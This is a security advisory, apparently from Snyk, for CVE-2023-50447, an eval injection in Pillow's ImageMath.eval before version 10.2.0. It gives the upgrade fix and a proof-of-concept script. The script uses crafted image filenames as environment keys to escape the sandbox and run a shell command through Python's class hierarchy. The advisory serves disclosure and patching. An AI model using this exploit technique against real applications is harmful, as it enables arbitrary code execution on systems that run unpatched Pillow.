Eval Injection Affecting pillow package, versions [,10.2.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (34th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-PILLOW-6182918
- published 21 Jan 2024
- disclosed 19 Jan 2024
- credit Checkmarx’s Research Group
Introduced: 19 Jan 2024
CVE-2023-50447 Open this link in a new tabHow to fix?
Upgrade pillow
to version 10.2.0 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval
function when an attacker has control over the keys passed to the environment
argument.
PoC
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
References
CVSS Scores
version 3.1